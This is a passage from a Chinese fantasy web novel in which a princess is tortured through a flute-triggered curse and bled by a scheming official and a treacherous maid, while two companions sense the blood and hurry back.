她身子一歪,再也无法撑住,“噗通”摔跪在地,两个膝盖重重地砸在院中铺路的小石子上,然而这点麻意和痛感在此时而言于她竟是万般的微不足道。
叶星簌一手紧紧抓住心口,一手剧烈颤抖着撑地,指尖发白。
自心脏的位置,如同被人穿了无数条傀儡线,勒住她的脏腑一寸一寸地收紧,继而贯穿四肢,绞着体内的每处血肉,然后割透白骨……
叶星簌眸光涣散,忍得浑身都在颤抖。
头上传来难听的笛声。
她强忍着痛苦,用足了力气抬头,逆光看向金峻涛。果然,男人抬起右手,捏着一只骨笛附于唇边,戏谑与她对视。
这几道刺耳嘲折的笛声可催动妖族的上古禁术——画地枷。
此术可令经脉尽阻,神力尽散,受挫骨剜心之痛,叫人求生不得,求死不能。哪怕是有万年道行的神君身中此术也无力反抗,笛声一起,画地为枷。
她身上的画地枷,是在多年前由金峻涛亲手种下的,甚至连他自己都解不了。
而下令的人,是聂阳王君。
三道人影缓缓倾覆上前,金峻涛站在中间,咧嘴狞笑,嘴角扯动脸上的伤口,不由“嘶”了一身,然后用拇指摁了摁,渗出更多的血。
“哎呀小王女啊,臣为聂阳王室鞠躬尽瘁几千年,您又何必如此狠心。”浑身颤抖的叶星簌让他欣喜若狂,看着一向高高在上清冷出尘的王女跪在他的脚边挣扎,金峻涛的头发丝都在叫嚣他的癫狂。
他噙着邪笑蹲下身子,用染血的手指掐住她的下颌,叶星簌无暇白玉似的脸上冷不丁出现一道狰狞血迹。
他们这位小王女就像一朵洁白的花,不被世俗染尘,可偏偏就是素白得单调了。如今有了这抹亮色点缀,竟明媚得惑人心神。此般容貌,才配得上痛不欲生、绝望至死的表情。
他笑道:“小王女修为通天,臣等不是您的对手,只好出此下策,还望小王女莫要怪罪。”
叶星簌狠狠地瞪着他,嘴唇发白,整个人已经有些不清醒了,一句话也说不出来。金峻涛看戏一般睨着她,黑衣人一动不动,而她的“忠心”侍女白霓则像瞎了一般,冷眼旁观。<
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金峻涛哈哈大笑,用一副安抚的语气宽慰道:“臣下也是当父亲的,深知您这年纪的孩子都爱任性胡闹,如今王上不在,臣下只好斗胆对您稍加管教。小王女莫怕,画地枷忍忍就过了,您最有经验了,不是吗。”
男人离她太近,满嘴酒臭肆无忌惮地拍打在她的脸上,哪怕此刻痛得几近晕厥,但叶星簌看着这张横肉狰狞的脸仍旧忍不住作呕,她用力咬住口腔内壁的肉,好让自己清醒点。
趁金峻涛得意忘形,她毫不犹豫地攥住地面上的剑,奋力一挥,哪怕没有神力相佐,剑锋依旧势不可挡,带着一击必杀的锐气和狠厉。
只是此刻的她较之平常与废人无异,金峻涛虽没反应过来,可白霓抬起一脚踹向她的肩膀。叶星簌肩头一麻,整个人就地滚了两圈。
因为反抗和强行催力,画地枷对她的控制和折磨瞬间加重。
叶星簌蜷在地上,脸侧贴地,鼻尖与落叶触之若离。她微微喘息,身体的每一寸都是细线割肉般的痛苦,眼神迷蒙,手指轻轻抽了一下,似乎下一刻就要晕死过去。
金峻涛差点被偷袭,冷嗤一身,甩甩衣袖,“小王女明知道,当个乖巧听话的聪明人才不会痛苦。”
“臣下与您实话实说,今日一行,不止要杀那两个凡人,更是来取无间血。”金峻涛摊开掌心,初来时把玩的匕首顿现,男人笑得猖狂:“这把新刀样式精巧别致,适合女子,是臣下特地为王女挑的,希望您喜欢。”
话落,金峻涛把匕首扔给身侧黑衣人,并向白霓使了个眼色。
白霓上前把叶星簌扶起来,让她上半身靠在自己身上,黑衣人拔掉刀鞘迈步上前。
叶星簌微微偏头,无力地抬起视线,眼神空洞地看着白霓,虚弱地笑了笑:“最后一次……”
白霓眼神不变,一声不吭。
黑衣人偏头,示意白霓撩开叶星簌的衣袖,没了布料的遮掩,平日里挡得严严实实的小臂竟全是伤痕!凌乱错杂地遍布着,本该光滑如玉的胳膊竟无一处完好,连黑衣人都一时犹豫,不知何处落刀。
胳膊常年被她包得严实,如今猛地被凉风一吹,叶星簌浑身一抖,下意识想要抽回手臂。
白霓的力道却陡然加重,钳着她的手腕纹丝不动,随即毫不迟疑地落刀一划。
叶星簌垂眸看着,鲜血涌出,骤然刺痛了她的双眼。
黑衣人用仙器接住血流,直到最后一滴血注入琉璃盏……
叶星簌好像出现了幻觉,竟然看到了前世——
没有窗户的实验室、被异世粒子辐射的污染物、数百次清醒着的人体实验……
她再也支撑不住,沉沉晕了过去。
……
旭日和风,鸟雀鸣啁,卿岌和晏梦年一前一后地走在山经上。
看着前方分外潇洒的背影,晏梦年提着大包小包骂骂咧咧:“说你大爷还真把自己当大爷了!好不容易进城一趟,这么着急回来干嘛!你能不能帮老子拿点东西?!老子买这些药又不是为了别人,还不都是给你用的!”
卿岌头也不回,伸长手臂晃了晃手里提着的一副刀,无声拒绝。
“你这……”
卿岌突然刹住步子,漫不经心的脸上变得肃然冷漠,仰头望着院子方向,黑眸沉沉。
那股熟悉的异香又一次袭来……
卿岌的瞳孔中黑雾翻腾,整个人定在原地,晏梦年心中一跳,突觉这厮有些不对劲,“喂!你怎么了?”
“无间血的气息。”卿岌敛眉,言简意赅道。
晏梦年一怔:“……发生什么了?叶姑娘她们会不会有危险?”
卿岌没有回答,竭力按捺心中不住攀升的烦躁和嗜血欲望,浑身散发的气场比平日里更加冷漠阴恻,鬼哭狼嚎又一次趴在他耳边冲喊咆哮。
腕间一转,阳光之下,冷刃杀意萧索。
他提着刀身形一闪——